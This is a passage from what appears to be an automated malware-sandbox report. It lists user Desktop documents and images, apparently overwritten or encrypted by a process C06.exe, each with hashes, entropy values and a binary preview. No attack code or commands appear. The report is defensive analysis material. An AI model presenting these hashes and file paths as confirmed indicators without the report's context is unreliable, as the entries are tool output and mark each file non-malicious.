Preview:	RAYHId[s&..<..Z..y.d3.....2.H.5..,5.FE.t$.U..\|..d..^......@ Nv...k.......&..@..iG.......?/B..pn.Z.g....Jh................dw..}...j...9..W.n^.V....F.8$..f..>F)...3iN..Y..\|2....".Ji[?.p..6...~.G\|..nEh.8k".:..Z^..7.l.r...Y..y..8k.Q?L.......V.P...1..5\5h..!....+.\|..Ot....#b.y.....<..".5..7.p.@..9.iW....N..u.H.z.>5..Zy.-D...{.d;....~.-...\|..r...MHB..u...].1..K....6...".l05......].....X..&Y!...C.,;....>UJ.sa.OE.;.bb..u.#t...1Q.l.F...Q.Hi.......vW...&V..]8.{&.G..6]...h..M.j...awP..H...h....\|z.Q...M.a.}[./.1.\|....`U..Q=..y....~M.U..RE....[.Oc....;.J>.<W.Z.C.K=.t.....y.G.\>p.S.{.x~9zxL..F..M.......r....<8.D..,...3.)H8....o>;.;.@(.....`...q....=.3/.L.Y...4.......Yb{K....%..Aki...uH..r..5.<..r.X....i..iB..03#Q.4g..G_.gQ.s:.V.<...G.....b%.Cn.....b..\|&b.z,...@"....G..K.E3(.6........b..T?$..m?....Z.FC......i.F..`.I.../v...7.......ot..c\@o.s...p(.U..X......t..R..!n...{..(........vjx...\|#Rd.c..@l........4.....g...{.uvw[9..x....J...*.m"Y...(Os"...e.

C:\Users\user\Desktop\ONBQCLYSPU\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.876527784693209
Encrypted:	false
SSDEEP:	24:6jrUlxqK9t40YaJhzdmHAkMGRf8VIE47SqUJYVUgXFx2Y74VhXLXaxD/gcWhTIed:SSxZI0YmhzdmHACxsI77JVxCY74Vh7ia
MD5:	BAA8D03B215EAF293E4B2EE6C8CE8E15
SHA1:	88BF696028CA1FCC46AE8431552A15E41977020E
SHA-256:	10EB4C541ADF41699CEB95386C35933DE191208494ED11FA5A64A9A64DE32F7A
SHA-512:	B41DC8E472FA158933495D13E195E240F339A2181A2DCCFD64BBBC0930AB8CD5F8DADAE78BBE778627E3A5A7F2FA020476D68B3A9A936C7AD82FDDD395244053
Malicious:	false
Reputation:	unknown
Preview:	YPSIAm,..."...f......[^.R..)..TR...8.X.......f./F.}}....0Y..~h.....N\|.......lXS..`>...mx..K...7B<.:....p..W+.x4\m^..X..L_._....#R.2.'....'..r.................$h.t 2.G."bS.....[Oe..~<.........."._..`}L.....+Pz..K.....rlO.........t\|(...a...Hm.z.....z......p..Xv ..%.l.fR=.......AN.u:p.........S..V.t..[M.d..Mp..Y2..e.p..'.$.p.0....[...&.b.\.g.9.}.<k......Oya.gl.5.......;D..H.-D.P..j:Yt......?.2 .]..c/......9......:i...-0.._.........j...\|.8z2.=f.d.]E....G.........U.:..cs@...jy.E....+.O..o.'.<..v...I".6.....{.de2..L.(.p...zOZ.O...R.6.u.....iP.;..9.T^wQK<..Hj......T.D...~I7.?...J^....U..i1.........E....CO ..YWoi.o.fAR..m...?.$.F...D...?.....z.Zy.h..L.v..;.(....?_.......=0.gu(..-dT06#..8:`c....M3....3I....?....Q#{.B.7...._CvYW..7C......!l....?.0._%Z.R-.T...\|-...F....GQ....".U.....Z..m$..;[g..R...h.....T.Wjy..P..8..V..x...l..(`....VJ.1....g..j.x..FV.f0.W1..Wd.tn....q.X.5.............w.....+.ZKC..=.L.....D..T....[+.&......Ku..D.XVW.c)J

C:\Users\user\Desktop\ONBQCLYSPU\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864346982998934
Encrypted:	false
SSDEEP:	24:v34o6FnOpEvcd8JSedcGNHcFQTT3WbL1D4xO2MLv0d8xkSP+bAmxCvDoLMbD:v4o6FngEPYtbQGL5O3MIdIkXbAmxCHD
MD5:	C08C874389649A7B9E5296A3056BAED5
SHA1:	B734F96FCB8A52C02FAB1AA42B2898B7D1E68070
SHA-256:	DD4942BC051D94BE790D9D352B486A721DDDA384F7E7C27B6C555E9B6D357CA7
SHA-512:	9E0EE0215DCF09A0183148975D9E5C45653FD6EE71589A36CCBDC144B2BCDAF433A7BC414E0AF6DF77FC92B23ABA22F1A2BB6A354B0AB2BDE1DBB4A182D9E966
Malicious:	false
Reputation:	unknown
Preview:	ZBEDC...[.9.......4..H'....C.7......&.._{.]..lD ..N... toq.%.H_...O.s?...n=.='rBj..........J{..x.S..R.F.K..i......k"...m`..g.2.#vr.+S.j.w.[A.'?..].......oD)M..A.i......5..1^.....r.NR6(E!w..A....k.l..c...2.'[c.}....}a.1....m}..iH...m.Qb^4f..._.......=^.....:.).d.S]....L.b.F-..%..dzr.....?.I.....].l+...V...=..R.>o.Z.G..jF...%0l.y.....c`......z..u?w..A.].....O...}-.P.g.J..S........oGj.R."...............Q..OR...S.=.d/F."?.PK.,\|...M..s.ft5.Y....:.b......xc..{Y..>.9u..<d).l..].~ .%3...\S...j.e.\..\..Q....\|...O.q.....l..Z#.4.....J.B.T......2.fk.v.x....4f<....?8}...t...n...X..f.HXW..X-..)....].M..u..A-..q....<F.T.jV..........#.-[...y...\..W.e.....Z.../.....tv.._a......B.N.c."......@..2..(.i......{>.O.-..@...7..I>..W.N2....QT^y...g-......k.z..C9Yl.!.sB..N>....Z..g.^..\|.DG...3>mZ~v..M a(/]....7..P....:........M.(<...*...h\..b.Q.......m..E..i.s..=.V..:&p(+..T#..c.3..K..#.O....r...+c...:...,.8..].n..VDo....o].<..&..........K.2...6[q`.;!..-...?.z..g.

C:\Users\user\Desktop\RAYHIWGKDI.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848557064310273
Encrypted:	false
SSDEEP:	24:knl0dy7rzjqs+pb2tEhqPY3G21ldB9kcRyGIlR8aJGQEZj/UdLWAaGzuu8bD:wz7vms+AfY3vlJk1GIwgeKyATzBWD
MD5:	F5ABC21F47BC29BDD72482EC95E878D3
SHA1:	F53219A0A000601BADA342C8981B0A0BAC74730E
SHA-256:	A2D46B15869CA2CA3694C08DFDB2478874E0B119A64857BA852F42660232DC97
SHA-512:	67EC52979035830D2EFAA6920DB9E9D1729A4CBB51AF2F152B0B08D7ED3660BEEDD9F60B0AB023523ABFD2B7505F90956AAE7E8E43B1336FE006C7E667E14902
Malicious:	false
Reputation:	unknown
Preview:	RAYHI....5..+.....\A..1.LpZ.1...[U.ZIC..L.b]....N.l0...,\...8...&/.../k..f..,.U=..e...G..w..>...o...\|..?..A!...8<.)g..87.De..E4l.^....A.rA.6..{.3.....9...:.:.......+k,x6N....q.sO.#.9G..Y...o...d}.......V#.A..E......k3H.+.......~.kk...R.s.v?.;.I.Y...._}./>n[.a)1..:<...0 ]no..........0.y..g...d6..5.@...p.q>.&.H2<...._V@....).>.K.t..j.F...%..5/.T...)....'.2...:.c.....)...%d....Z.jA..:.._.0....}7.#.3%.h.3..@2.-...I..#....;/..!kYYy..z+....ZN../....<>.C..^.z....NK...HS.n..7...c..u1.Dg<.o.Y..-.)P......._.....=.nn..r.O.9....(..y`....~.L2U.b(.....?.....7@..^.9.........Xw..}.T.;s.....Q.P.VB..W!.#O\z..I..u.N...`m3...%2I.........a...i. ......Y1..^....V...5....fM.F/..2........~1..<.<.....u.../L.@....f.U.:?.X......<.......,..5.Ts.m.,sr....{..nlZ...J.).>.y.Y!.....o'2.U....+..S.....G.q......Yg.4=v..g..?6.QqV.....D.U...:...b+.....\.,.v.......Y.>...\}.,,1...e..o.....l.o..".....80....5.4............j.Q.X2.\|T..s....G.j.....v.J.tdf8.....2.*...

C:\Users\user\Desktop\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841530604496979
Encrypted:	false
SSDEEP:	24:f1YPE2CK+GB0jcyYThDb86YZ4F8qPKidmGV5RjR3yEPyF/NiP8bD:mPE2CnGB03h3i8wTnjhaGPWD
MD5:	AD56584B330E4F7C81BD3C0539FCADC7
SHA1:	B464E491848785DB295A110C3D228F4BD8965635
SHA-256:	C42FEDECDADD04C173FBAD31EB122A47CE72986F671D91A6FF35B06E27992DE5
SHA-512:	45D7E82C6F69B3DD5F263630EE3A44886751221F3174129552233A4EED76FB56E5F7D286EFFFD928148285EA369E100B70C20D9E65C008592EC9252FC673C41C
Malicious:	false
Reputation:	unknown
Preview:	UMMBD`W5.N2I.,.4:.n=....wz.@.....rrf.[..QU.Q....(.D.rKy`6m.x.>..:.Xp.t...Qq..P..k.H]W....M..4.Y......e..T..tpL..P%..m.....W.d....k.Q....Q8..v.q..ys.E.E....).].Q...;...9.):.....5.Qm..$..?T.%-..,....lp]e{....01. ..N.b.I)\9....m.c7....K.>.{5.oL..6!.x.'/.j.;...{:..Xt...D....>.`.hE.B.KDmUCo.n.g....J.........U.%...xg..4Q..d.Q..r......O.Pf..1.{.f.!.....:.bV.VW.C.V......[.%/....G.........5....N..n#T.'.....O+9"...+.C.T~........F-......W?2.m/b..n.M..kZ....,..[.7.7N.r.9] ..+ur.z....J..%L....X.0.......;..z...........xeK.E}\|_.Sa...FA-R!........O...[..;\|p'A...=....Q.Z..;==Yk..-...N..i.*....pz..o...J.8.G......4.:.....! ......;.%..U...X:.............KMQ.c......."X.....w...........[lZi.."......$.AN-D6..\..I]..nw..2.y.@I..E.......N..X.Q....u....N<M.........i...89OE...R....:....lM....8.....%.dq..}...O...k...9.cn{...Xc.YT..lE.t...e.T:...3..AY.w.#...[.....3.}....nV.X..U.ym......6....<.=]..'&w00..w..qzW.X ...[..k..........`d.g.}.p.!...\....5..<.tE..s6.....

C:\Users\user\Desktop\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862872935805961
Encrypted:	false
SSDEEP:	24:rrso6eTzEKnYoQVaxG+YgQINF8KXTjq645xhFo4If3h6iRTq9NuUAOTdIOGer+r5:EyEKnYNV2+gQIb8KXTGT5xvAomSGlr7N
MD5:	49AA97E607B542A0142162092874A51E
SHA1:	62FC1D27DB40D42E106FE0BA5A7414237455A799
SHA-256:	65FBD85F5E26143C67ECE7870E584A1FC70C8BAC7E50FD5734952A470E2E1FC2
SHA-512:	50B79CF8F5C2FF41E6466870033DA1F95E213770834D35735C86D40B57260A3A2378CF17440A27F0001CBD0420BC7DE97E762F50A9098E7808F16EDB925DF205
Malicious:	false
Reputation:	unknown
Preview:	VLZDGj.aB.u.-,&W..4..y$.wL..`.....{.QF..n..5.l....\ ..X..k.....iq$qoRu.CJ=.q<?...&....W..n?...Y.z.....5...'2.....5x.F../9......m.?...M.S.....[..T}`RM.w..'..\|Y..I....9.8%.}J.S...M9..n\|......R~....j.cqE/l..~Yc...zTz...z.sH..6..H\|..b....k.4...W......>`.....i..V.F.9...K..$=...B.{`.}..]#.3.....z..K.B...bo...`.........%......i.......q.V/$......6Q~H\|..{&....O`p...... $.j[!......z..{.Y....f.7zS........r...-...r...I.$\|.j..E..[s.F4..v.&....j U..`..pN..P......;..;J+..F...q.......J....WS'WeL1e...{....0..:bI...`.,.<.v.p.......Wq.Z.....]......u5O.5d#.7.l[#..D.......<..l,Y.?;fK.....7.+..!o.Z.Q.....\..+..t....-.*..@.....~.B/.>\.@.-.c..K-Y...).O)v2..}.-..`.?.k.....SKV. ........$....0&;.'....0V..P.b.~...d...p.:....6oE.>c....:...A...Pk.{....]-.e~.4,.....<....#M.8x..f.^...>..N..j.{h9&.b.sV,U.bt.2....r....:wo.....QC....#n..+...Y{..Jut}..%..KJ...a..G........&...#v.t.vJ.1..U.n(..?.7%Y.(..f..\k>....i.'[...%D..L~.eW._8....p...PF..y{..._'..#a.,.]%X...q...(4

C:\Users\user\Desktop\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839655513687253
Encrypted:	false
SSDEEP:	24:633bRE/2lrPh+Fco0EJQcGAMWwwhkGABoSJvNe0AUMOqR1aGu8bD:u3bRLjhbPEJQIwwhkFBjNyUERY+D
MD5:	EF3525988CAAE2B6C3210906C8F6AD7E
SHA1:	C19AD56B72F2B2706B3FA4AA2DBB6D24AC2A1EE4
SHA-256:	F9922FEA035B1BF89B609E5ACED1D902561D20140DA9B734D2B65B8AECAEBCAA
SHA-512:	FE93B1BE7DB484FDE01BAAF760449857B7FF42DBA52B6EA2DBFBDF4F0FE48215910F75AB9509F9B20329246390636178E1D510256E2709CC21D933F7F01BB85D
Malicious:	false
Reputation:	unknown
Preview:	VLZDG...")oQ.D.x....Z....+...G9.yD..z_...(LM........98.H.\|.'..\.<...;.l..U...P..,.._.-R\.`...K3.....V..h5\n4)~jUi.7F[p...4.....o....JEK.O.o8....W$.u]Xv...k...s:.Ami_.y)3.o.A ?4.s9)j..].Z.'H.Wi1..].0. .p...IA.p.!un?..I_..'.8x.,....sG....0..T...Q.V.D].E@Jp..Q..7&.....d..L..U.:(.. .,d.w.R@.H..E.........A../.........U..D9..C..V..Z_.T.-.2`\..#....-..,3C.o....o.Z.,...e...U......`...[.X.....,..f.(.........9.u'!8.Y......~....v..x..8)..l..g.x....]..%.cW&B9..@TG....6..T.I~.....)nx....Fb.Ea.[.....$V.......'&pp...{L<......@^.5.Fpg.lv..#..cp.gx..[.Y..i.....L....b.......oX......4W......I...3.U+..,...x4.E..N...C.?.A.iFx.0..W..........@...t.@"..X-..b......G.l._..{....b.39...;......-....Th..h.....?.y.[.i.e.d6VX...@$iB.;.F..P.,+]/..@J....%j.%..f...DMA._0.(W.E0..5P.Y..d..bE.,C...e;$.W......`E...9...1........?.3[.M^....&n.u.....V..K0..cX.XE.wac.X6{{q- ....UH....<....4..n.K2.N.o.Z...?!..V!bb.....N..3&!..,.[7[..r.\|....V....0.....m\|....`w...X../....o..{...

C:\Users\user\Desktop\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846394831581117
Encrypted:	false
SSDEEP:	24:4enG2IbeQPsLvQn0djkkMCW5ER7XtV4vlucTdEW0F/byoobD:fGZPYvQnOnW5CCxTY/byJD
MD5:	15A2743A8398AB22E0D04EC7DEE38CD1
SHA1:	E7BE87901CE9067881E24C57C731AE647B49DA26
SHA-256:	F2C308139FEC42BD18BAEE0DF32F226C2C53069CF1D185C1C0B4571D40BB066A
SHA-512:	623A0E9B1B4A03C308911BD4D917AEC3DD72D866849063F99F741F7D055405E3E59BC71A54ABD4475882B631C678060C47A5EDFEE33B7AA851FD2FF114AFFFA4
Malicious:	false
Reputation:	unknown
Preview:	XZXHAQ_..f..3..\|.`t..EX..M.q..t..W..~2j?R.F..XC.G..Bl,v.B....G~..)...tE.D..#..hL.Y....u..ao=.#y.6.'T:....=&..A...].)?0.5a...Vq......C.V/C..fe.$..T........jU..C.....^;.X.cu....<....iK.............$....j..qV.1Q.dN.-'..u.;..)..\|.B:7..%..:)...y...dj.a..'..T..L.V$...W..T.p........d.-.W.#.O...@%.x>.fbe...M.y.yy..6y.'q..[.g.....X...^8.....Y..NL+r...PI.1W.....8.An[.[3..;.........W\|.R..nd..oB..........J.f.../.L.h.D."..`..........4J.r.......h.w<..7.J...C....O..D#j.`Tx..a.r4`..$<....E......Q.5..:...._...>z.@.......l.S.'uGS....ct,........Z.....=..@..`.g~?..\|~.J....{... .`.o.G.+...zOC..p.C.r.....a4..e~C....X6$D15../.v.u]L.6..U.a.N...E...#eR..S.n...@fM>..Dc;.L<.......H..:..Z..x[....P[.....Yf...;Yb.u.Z.....P.......2..P.Myi.f..8.f.V...8.kk..4.`...B..a.....9E.'...,..^....' .h.a.nk...m7ir..I&.~.....>.4...W...9....x....O....!L./.6.J<0y..9+..s{.V?e.\|...Y.!..._H+jG.?;Xu(dH..C..0.qlo...{_.i.Vxy..t..:.'.....y......B..o..I.O.`..M...6C$-..3-j..4..o...(Z...

C:\Users\user\Desktop\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.834617864059622
Encrypted:	false
SSDEEP:	24:oDK9rO2JhWLM3EVTunCYOJkCYxqfis4WDvOqlnO3ERv3b25zBSAd31PUpbD:oG9rOOWLAEZuCYOifqsWOyxpbjUFP2D
MD5:	CE14EE613DA1A74DF29AC517BA726B21
SHA1:	317B753C45EED13A2912B767173FBC024BE8F871
SHA-256:	6D0E3FA89CF022FAB702CABF5F8A2D6FC35EC97AD70E3A1CF88EC08BF6DC2886
SHA-512:	44C2B63224AA5B8173709D296D25D0B55749805AC174C65D0C13CF41872E83851B9686C0670ADC55DA1478BBDFF768B32FC8B2BCF1CFEC6084DF25569EB49ABF
Malicious:	false
Reputation:	unknown
Preview:	XZXHA.....<......H{...c?e:.,.../M'..`.2...V...^..\|....`K....A#.cJ!..T..0..4g.. .X.$.f.{..P...za.d..#n.....A......h2....."..z.>......Q..b..W.E...`........_._.&"....Gi.....>..v..1P....F.{.........h.l.....V...f...(..N..S...1...."_._....5..%....c.....t...;.......bq..S%..8.....>M2....To..\|..zE.y.c.I].4.Dl...H......4...G#....t\|,......w.Q{....+.{0j...l..G.=..M....Zs{...cC...60b"...z.+s...../.9...~j....2.p......>.a....;......?.c..eE.r......g}.N.......\.eY.Tj.{..eN..#.......S..).U.F],....lg=....7hf:..>......G.B.2.<......h.B.W..%!{Y....9.".#.,b..I2.......Fy.*....bp.".....9..V.[A..z.].{\7....`.)...<%x.a...?./.%.t....X...$.cdY[..........S...`.....3...G...R.].."..\|.m.s..x4...c...>....t@!....F...<..!.I.#..PH...M.4\|{.M..r....?T....I..f... K.......J..\|.oC...a.Md...T66.}.g....FV......w.............GQ..9..EB7.".q.`L.OT....p.t.z...Z.C..a.=....o9./&...........D.."....0. n..<B./.L.b.........f.1.y..+O...a..5...z...R..%..]..Q.d........n.....1....

C:\Users\user\Desktop\XZXHAVGRAG\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866917285457485
Encrypted:	false
SSDEEP:	24:CoWBdQm2Vp4FHzKeA4xm4XtHeAaSITqzlDX2tcGRINa5ssm6GbD:ofQzpgWD4xm40AaMtXAcG+sm6UD
MD5:	3C9DB66373C136E353ED1ABFB1F2E368
SHA1:	78A941DB96CBA8DE90BB5ADD45916770AACAE1AA
SHA-256:	C7750BAD3C597B11C049870767BA3C9DB90B4DA559975B12B55E468243AF5336
SHA-512:	378A7052FA5D9C11706072A365828AD1D4A24701319554449619903BC4354DB98A2A95A2CDB1C1BE8CE2779EFD57BBF1DA76B38000345F15B3481CBFD74DD209
Malicious:	false
Reputation:	unknown
Preview:	DVWHK.i.-...P..XM.sIOU...d^.]...<e.k..Z.1.c_W.n.oITr........zQ....].....F.2..{V.\.LT.....Z./^..kt7e..@.....c.e.....A..B..5x6..7_.K_.....-....4>...rA.gz..k.r......x...ku .m..e@..4..K?.H.6......(.4.....^e"."X,k]..zd@.zm...U.&l0.0.S..;F..\|.;w..u?tx..........#li..=V.dG..cL....O.f.\/&..Q.Z'.=".cCz\|../..H..N.`z..N.;.B.2..l......,%....qF....^.o..h.w.7..bK..d,.P"......\|.O.l.ca..i6....P.8...mQ...M.a.L.zkZ9}"....a!.r.l.T.,.. ..8'(.8.k........y.4....93....84.{.....@.S.UhyX...\|.....a]..3...M...`m.s.M3.v.2o...M..^...dm..G.....T#q.^.U....F3..?.b.$.K..)...Sm...e..1.T}.l..d.oz......`............&UMr..~...;}.z}.v..Ou.-.....o.m......9.h..%..k....n...TCs...0.e<.....'m......@..u.`.8..+..[.FW..o....]I..r.......W.I........u.b~K.......:.0..G.....j9... /:.Z.]..#...'...8.`....q,....G/e.V.1r6.W.~..,.j.h.N..&..G..o0X{y..@V...W......F...:.gL.A.../....N=...`....m...Pn.w..y9.T.....p..;5.#...t.....5^.m.......F..nr..l....[d..OyR....W..0..+;J.8.)..=.+7..V..3

C:\Users\user\Desktop\XZXHAVGRAG\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853477113113496
Encrypted:	false
SSDEEP:	24:Uc03+1W2ZsjFViZGN2lqAo5E07BiqQH7ztT6za41LUOKQKd58VpGnLdZLd+shbD:43+BSViPlqPaMwbW71L9KVCpGnpj+ED
MD5:	2378F819EAEABBA9FBB027BD3F98E87A
SHA1:	EE81BF8DB369D666D5D85E2CD542E130158E9B58
SHA-256:	4222A14001244C8C5F19F43FDD600FEC34A283A8100D79F30CF65F120F8368E3
SHA-512:	8FDA5B6453F10FF34F2E83F10506337250BCAB37F7C025C42920D7D5ADA0E852805BEEFBD21FC49FA4DCEC3055FA30A9A4D3ECA000E0DF53ED1D64FD0EB6A0A2
Malicious:	false
Reputation:	unknown
Preview:	KATAX.sI0.R..............K.^....Ns..o.1i....$.....k&..hvD..P....s`hM..[S....'.es..9..v..1.!..{.5.J-.~.P...!..........XVBR........&...~P..mM..2.l...]....0%...^\|.S.q._.V.^.....I#j......._.2x.......J.^....$.Q.I.KG.^.. S...._<B&..Q..X..w...).....[Q.V.W..1...I.W....WiD.K.z..G...Z...a...-(...JU....]...\|w.>.$8[..#.9f0..a_.f..^...b..2..)w.H...)nklW.C...f..o.oD...........4..S...H..w."<...n@..R.&.'.}.>U.....9.]a.Qyj.O2...hV.hf......T._...=.tx.en.5...[...@....g..Or0oi..%..Jy...Gu}.&.j.$..+..7;..Z..l1.: .=......lArb)..r.r.Q..B.....gt.P..%2.....C.A.:.'.b...R.?.P...;.0.+}.m.).<...5i!K._.R.._....k.t..`........Y.O..+...E..W........'..=0.[...'3.b4.F..U,)WlP.hD...&..`....>l..E...........0o..2.S....%...0....[#=a)*C.3#..kC.d.W..e..#....I...8......X..m..0.&^@..`XBs.E.,~....[&m..LZ..}..y...R.....e.I..DG.B...!]..O9..-.`....7.8.;>;.>.[H..Z]. .K...f7\..=...{P.fU....4..(.-AM\=.Y(...oH....;......j"..G....H..s...U.M....C...#....G.......;......nk\.....y.....>:_....

C:\Users\user\Desktop\XZXHAVGRAG\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831470229861711
Encrypted:	false
SSDEEP:	24:PZw0VzJAp2gtxCjekUv/a16Me6tzRlloGWKQM1yQNhw6BBiHg42PQGYHC0gRwsVN:Pvj+/p6lR7onHQNamiv2PQni9woD
MD5:	5A8F90AD9B2D5FB0AAE62C6C04C4C7C4
SHA1:	E075A2D1F2EC775F2FC7283B51159094B68D174F
SHA-256:	1B08657B9CAD70BE2CC6E565A79359BAA6ABFB0C46D8F549649BE498855C0150
SHA-512:	C7F95B94A51926B3E5EF50488F2994AF21678A5F50DFBC59430D642F323B43BF630F17C33505A7F2C4D04CC2982AC0F733974B4DA390253731890D40A487F316
Malicious:	false
Reputation:	unknown
Preview:	NWTVC.......o>.i.......Oz.]RW3."+.;.%Cr.T..#.Mx.[.L......d....(8m.g.}.....-C......-.Jk+...@.t....s.!......?.c.W3...8Q.3........w{.dn.e..8.P....K.y....h...T\|...4?.L...)v.!....T.8.@..'@\|.....x.#......f..8.F.m.+....].Z...p.V.0...(;n...#..VW...d......!....Z+\M..)>].t.rN+....V MO.......3S..m.0..S...]......b.tk5x..Kxz.U..V.ta...6.-._4.. ..jf.(.j.nk.O5`.T. ..).v.7my>..2V./.......9.i..;,...r.:.^.......w.....He..T.ZPW.X..CXI.u...(1?.../>......\.].;..+.. ..}Qk...~V*9.l..._...5...O.F1.y..=...\..T>....-U....L...n..].1rq..<...2...{.......B\ic..Iq.X...Ai.0...J..`..'E.....+..j........1.;...+I1........K..g.w.2a....#...z>.)....t.........KL...f..D....V..n..).[..c..m..-..E..S.:.{..q.#.....u...a.f...Hm.q.2.......Q.h.......b..D.....1O....J..hc."H.......-.2\..TsJ.D...i.@.B......4.A..5B.XU....j.....A..e.dw.[I.-Y..X_9..Nd...X..._...G.%ymu\|...O...V......i..j....EK...}..j:\|L....../a..)`zBA.....!.nMP...))N....F. ...~.?.e....QB.A.$5.....$or.9...H

C:\Users\user\Desktop\XZXHAVGRAG\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8431931150581615
Encrypted:	false
SSDEEP:	24:/iCxzmFAoYWIqbxWFr2qXjCUWatGvRxaGJOvlP2q6Zyk0AWFNGjdzZ3B861Z3VbD:xxz2/IqGzXjZWatqRxstfYjPRBZ3FD
MD5:	34631A1F9694E4EE66CFF4ACF056BC0C
SHA1:	D831A174E591A965685F0F8CFFDF3274577C4226
SHA-256:	0C958D4D4A576C0E51D4BBD823C22D91FC38454C58811948EA912E5B0D6549F7
SHA-512:	C9663D48538CE9EA3CA0B3B091D8F590F91DC6EE9878400217B8473DCE24C0825B49B164716A379CFFE7843E28E727A73B0282E9CE746FA023EDF4D0E1684832
Malicious:	false
Reputation:	unknown
Preview:	VLZDG....'.H....C.......P,.4.....s.V.M.z....C ........%,...nm...,.iY.i\|..'\...r!e....Qj.P......O.F....w.)......^......<,9D^.Z.5.....[.@.rm.S...K.......;Z...0.Y.}..$.g.^1...+.9R......q..9ss;.b......`...!.L.Mx..-......:P...,..'..4....-.-(.:..."...yH.C....o....#.o_.I.=.+..5.#8...q@kO.....o9.I......T#?w.}..UY ...gN...).......}..:.@2\zH.uqQ.............3......^..X.0....m=.........,..D...f:K..........z.l8#?......De..g..B1.i........s....z!\1.{.....~.S...v.........\.y.$C..k.k..H;...~.q.@i"P...s.q.IH..j~...w.....(..9.xZ....m...aw_..........Y...9R.P.,....d.KP...-....<....N<. ....-.gDd..J....\"...bK.y......lxC...`6ry.y.%w.ND.T=...H(.&7..a')..u.Z.......\..........F..T....x..[.='A-q.5Y.x.>...Z:..9. ....\|e&....qk.]......m$...Y}...........$.......Hy.k..q./........xH-.._Y.....I.*..X7....gQ%3t?T..g...7.!....m...G.T.=..m.d.m..I.........C.....M.y..wrO...^..\...I....k...d.";SF...-.<.}..G....~......O..DZ..qz..".g<n..e..u....#^k%F..{...H.\..1Ts.".M.e..Y...N....

C:\Users\user\Desktop\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8437739391988615
Encrypted:	false
SSDEEP:	24:IOWWazzxwVgdMuA36laL6zmigXA7nhFjAmSjn27j+8b0skY/NbD:IpmVsMtL6zmyrjATjn27j+8brD
MD5:	8C1421C564AD37453A6835D62B52FAD9
SHA1:	3D909907DAB706E65B28CF9367D7C591EAFFCCFE
SHA-256:	8C15D399301E3EF615D88959075A9CD7507537B131788B86C55382EC612B5851
SHA-512:	40E1EA7767EFABDAB8A6C22ABA16F3F4EDA784FC92DAE78A561A4EC3AD5DA2371F668D5EF9B114967C1764BBAEA6CA7B613022E7C9DB36558AEAF37339331D4B
Malicious:	false
Reputation:	unknown
Preview:	XZXHA..1.'..F.Z.r".CS.7.^..8........x.@_.W..S.=..z.#P...7.x...zQ..Q..!....\|.XU.<.....`.:..I.G..'....q....&.D....\..$.....\|......i..m....p@N7...Y.%.%l.../k.+.-.pV.6..4...T..9....cA..l.&o..w`eI....j1.\|..6%..!.Z.h..........C...<...`..L.Wi......+.o...Ymy..=3...5._.f..x.....].HZ.H.PnRG7..z...(..)c....,.....p.C...9..Q....V.k2p...O...&z......f..{...=.La...4Y.K....Oez1.a..$...r.n....^........A.c.,.S9..u.K....D...e.5.FB."...F7.qf.T....{4q...,f..jW......{..c.`@.`..Ump.]...c.A}..r.<.G.... Om`V..e.~....'.....H.=...?.....B.j.g.Q..Z.MS:.].D&.U.H..9o....3.}..\9.<...5s...h...]...{....QN.J.ep.....k.....jI...>.."g...B....2...._<..v^..o.H."_...KEj.~...p.d.CD..5b...Oc.M.n.....k...>2M.h.[.m.TG.^l.ae?8..wViO..]x......a..]d..g.M.-.6[.g.3..)@:A..PZ...y.....2U......).lV..P...)=..P...U..mt.{...].\|......e...._..Y...iu..9..9..L..}..H.n.G{....vE[.;8.T./......?....n..........7...0.Q..4...."......8...t,i_.....?9.NJ]av..<.\P..2V..d...Z.?.QMh.[.0p...!1

C:\Users\user\Desktop\XZXHAVGRAG\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848155778446914
Encrypted:	false
SSDEEP:	24:49o22Vajf1jSyrOWBan+lkVBRpTAgZhvKhbhmpC1gM8lDwOLbwO/4odC6qJGIubD:49o6x+VTJZdKhbh+M47LbX4oP8GpD
MD5:	2121E25427717CCFE5C1E0C2D6C840F9
SHA1:	BA4092A7846D9E26B58AF4266C62AE5F1D9A50D2
SHA-256:	FD194804539D251FC69ADBD8D48CB3CE95BDEC8EB57DB124F988212C5ADD4DB1
SHA-512:	14CA2CCA6EB77E5A5D35D3F1E06740BBF9C7B84B0F05F81696BA9775F874A8DCFB9EF1CA5300DCF90BED46199182A63270D94F361A85B43A61A218C5F32A459C
Malicious:	false
Reputation:	unknown
